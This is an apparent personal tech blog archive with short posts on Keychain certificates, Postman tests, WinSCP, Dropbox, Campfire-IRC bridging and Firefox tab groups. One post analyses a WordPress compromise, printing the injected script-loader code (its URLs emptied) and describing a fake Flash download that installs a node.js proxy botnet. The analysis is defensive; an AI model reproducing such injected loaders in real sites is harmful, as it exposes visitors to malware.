Keychain: How to delete one certificate whose private key is also connected to other certificates without deleting this private key

Veröffentlicht am 25.11.2015, 14:57 Uhr

When you try to delete a certain certificate, Keychain by default also deletes the private key that certificate is connected to. As you don’t want to make all your other certificates that use the same private key useless, this can be a problem.

This is how you solve this problem:

  1. Create a backup of your original keychain. You may break something, and then want to go back to where you where before
  2. Create a new keychain ‘foo’
  3. Move the certificate you want to get rid of to this new keychain
    (This will also copy the private key of this cert and remove it from all your other certificates – which are not useless)
  4. Move only the private key back to your original keychain
    (This will of course remove it from the cert you want to delete anyway and move it back to all the certs you want to keep – that are now whole again)
  5. Check if all the certificates in your original keychain are valid again and have their private key back
  6. Delete the ‘foo’ keychain with only the cert inside
  7. Tadaaa!

But Apple software is sooo convenient…

What happens if your WordPress is hacked – or: How botnets are created with hijacked Worpess, fake Flash downloads and node.js

Veröffentlicht am 23.11.2015, 14:14 Uhr

I just noticed the website of an old employer has been hacked and some JavaScript is injected into their corporate website that runs on WordPress. Ouch. Of course I notified them about it and they’re just trying to figure out what happened and how to fix it.

This taken care of, I of course started looking at what the attackers placed there:

(function() {
var gcse = document.createElement('script');
gcse.type = 'text/javascript';
gcse.async = true;
gcse.src = "";
var s = document.getElementsByTagName('script')[0];
s.parentNode.insertBefore(gcse, s);

(function() {
var gcse = document.createElement('script');
gcse.type = 'text/javascript';
gcse.async = true;
gcse.src = "";
var s = document.getElementsByTagName('script')[0];
s.parentNode.insertBefore(gcse, s);

(Actually the second script is inserted twice – probably the same post was hacked again and the payload placed a second time – even hacker forget stuff the did before.)

So we see there are two files included to this nice corporate website:

Let’s have a look at them.

(Copy of the file if it gets removed:

This checks if there is a ‘doRedirect’ cookie set, if not it redirects to This pseudo link (note the .do domain instead of .ly) redirect to some link. It also offers statistics on, so we know this redirect has already been used (at the time of writing) 18.000 times. And we also see all the domains that include this link. Ouch. (Now I notified some other German domains – can’t notify them all :/)

The link it redirects you to is which is a faked Flash Player download site where you can download a file called . This is of course not a Flash Player, but a ZIP that extracts itself.

In there you find some node.js binaries, a script to load node if it is missing and an index.js. If you are brave enough to execute this, it downloads an updater.js, version.txt (that only says “93″) and script.js:

updater.js is basically a pimped out version of the index.js we already have, but can basically do the same stuff. script.js is another beast with 729 lines of code. Executing this you get some output like this:

> node script.js
{ type: ‘createProxy’, id: 0 }
{ type: ‘createProxy’,
attachTo: { ip: ’′, port: 53963 },
id: 1 }
creating attached proxy:
attached to

So it seems this is connecting to a proxy in Paraguay and … I don’t know, because I didn’t (try to) understand what the rest of script.js actually does after that. Best guess is it connects to a proxy and gets some commands, also it creates a proxy itself on my machine that can be used by other nodes to connect to and use. Someone has this list of proxies to do whatever he wants with my machine in a node.js context – and that’s a lot of things he can do.

(Anyone wants to look at script.js a bit more and tell me what it actually does? I’m curious…)

(Copy of the file if it gets removed:

This file is a bit more straight forward, although I absolutely don’t get why it does what it does:

  1. First it POSTs to a server to get a list of keywords
  2. Then it uses these keywords to GET a search on Google API:
  3. It gets the URLs of the results and puts them in a list…
  4. … that is then POSTed back to the server while getting new keywords
  5. goto 1

It uses a proper Google API key to make these requests, so Google at least know what Google account is connected to these requests. The server it sends to is a Polish IP that is known for spam, so make of that what you will. But I honestly don’t know what the use of this activity is and how you could possible gain something from this.

(Any idea?)


Someone hacks WordPress websites and includes strange .js files that a) lead to fake Flash downloads that install a botnet on your PC and b) abuse your browser to get URLs from a Google search.

My former employer is still trying to figure out if this is serious and who is reponsible for fixing the modified wordpress posts… this could take some time.

WinSCP Files Custom Command for WinMerge diff

Veröffentlicht am 30.4.2015, 10:53 Uhr

Local command:

“C:\Program Files (x86)\WinMerge\WinMergeU.exe” /n /t=2 /q ! !^!

Notepad++ backup folder

Veröffentlicht am 26.3.2015, 15:03 Uhr


Postman: Use result data in test scripts (and save to environment)

Veröffentlicht am 10.3.2015, 21:41 Uhr

Just use ‘request’ in the test script:

Makes so many things easier :)

Postman (REST Client) Tests

Veröffentlicht am 31.10.2014, 16:04 Uhr


// save response in env
var data = responseBody;
postman.setEnvironmentVariable("data", data);

// parse value from json and save in env
var data = JSON.parse(responseBody);

// parse array from json and safe as string and save in env
var data = JSON.parse(responseBody);
var product = JSON.stringify(data[0]);
postman.setEnvironmentVariable("contentful", product);

// parse array from json, change value, and safe as string and save in env
var data = JSON.parse(responseBody);
data.locale = "en_US";
var device_update = JSON.stringify(data);
postman.setEnvironmentVariable("device_update", device_update);

### TESTS ###

// test resposonse code
tests["Status code is 200"] = responseCode.code === 200;

// test if response is empty
var data = JSON.parse(responseBody);
tests["Transaction list is empty"] = data.length === 0;

// test if body contains value
tests["Body contains string" + environment.device_id] = responseBody.has(environment.device_id);

// test exact values of json
var data = JSON.parse(responseBody);
tests[" is " + environment.transaction_id] = === environment.transaction_id;
tests["transaction.state is IN_PROGRESS"] = data.state === "IN_PROGRESS";

Managing Twitter Lists

Veröffentlicht am 9.11.2013, 22:37 Uhr

I started to group my “twitter users I follow” (Why is there no better word?) in (public and private) thematic lists to be able to follow them seperately. List management in Twitter’s web and mobile apps lacks a lot of features, so I went to trusted Google to find what is out there. Here are my 3 recommentations:

With these tools I was able to move some people around and dramatically clean up my lists.

Now to find (or create) a Twitter client that is made for lists and this style of reading. (On Windows, I recommend Tweetdeck.)

How to use private and business Dropbox accounts on Windows (7) at the same time?

Veröffentlicht am 4.11.2013, 22:17 Uhr

There seem to be two working options:

    This one got a nice installer and you can choose a colored icon so you can actually recognize your private/business Dropbox systray icon.
    But it uses an older Dropbox installer.
    Here you need to create a second user account so Dropbox can save its configuration somewhere. Nice hack, but very hacky.

I’m testing (1) right now and for now it seems to work great. Hope it keeps working.

How to connect to Campfire using your favorite IRC client

Veröffentlicht am 12.10.2013, 17:08 Uhr

The team of a new project uses Campfire for group chat. Campfire is 37signal’s web based chat solution from back when they launched a new product every few months.

I don’t like chatting in a browser. And I’m a Windows guy and all the native Campfire clients for Windows work, but are not very pretty. You could probably even say they are a bit ugly. That’s why I went on a hunt to get Campfire into a Jabber or IRC client.

I’m in IRC all the time on freenode for several development channels, so I was really happy to find a small script that builds a brigdge between the Campfire API and IRC:

Here is a small ‘how to’ on how to get it to work on Windows:

  1. Download Ruby Installer: (I would suggest using the 1.9.3 version.)
  2. Use these options for the installation:
  3. Download the matching Development Kit from the same site.
    The installer is a bit crappy, make sure to extract to a new folder on your HD (e.g. “C:/Ruby Devkit”).
    Run the following commands in a command prompt in this directory:
    ruby dk.rb init
    ruby dk.rb install
  4. Now you can install the camper_van Ruby gem:gem install camper_van(Will take a while)
  5. Run camper_van to start the Campfire-IRC-bridge

Now you can connect to on port 6667 using “##campfire_subdomain##:##your_api_key##” (You can find both on your member site of the Campfire chat room) in your favorite IRC client. After connecting, /join #channelname to join your channel and you’re done.

camper_van translates all nicknames from “Foo Bar” to “foo_bar” so you can use it to reply to people in chat and your client can inform you if you were mentioned. Same for images or tweets, should all work.

Firefox Tab Groups – Making Firefox even more useful

Veröffentlicht am 27.9.2013, 14:00 Uhr

Somewhere between Firefox 3 and the current Firefox 23 Mozilla decided to add the concept of “tab groups” to the browser. I don’t know exactly when, because I didn’t notice it. But it absolutely changed how I use Firefox.

Before, most of the time I had 2+ Firefox windows open to seperate different tabs depending on the content, task or context. I listen to music most of the time, very often in web based sites like Soundcloud or Mixcloud, for example. A second window had become my queueing system for the music I wanted to listen to next.

Tab groups offer a better solution to that problem:

Now I just have a second tab group open all the time where I put the music related tabs. I pin the currently playing tab, so I can also access it from my normal work tab to be able to be able to stop and resume the music. When a song is finished, I close the pinned tab, switch to the other tab group and select my next track, start and pin it, and continue working. Without ever leaving the current Firefox window.

It’s not perfect. But that’s what add-ons are here for:

With these two I can change between tab groups with one click (before, you had to go to a tab grou overview and then select the tab group), and open links and bookmarks directly in any of the open tab groups.

Googlebot visited this page Mittwoch, 25. November 2015, 15:38:46
22 queries. 0,349 seconds.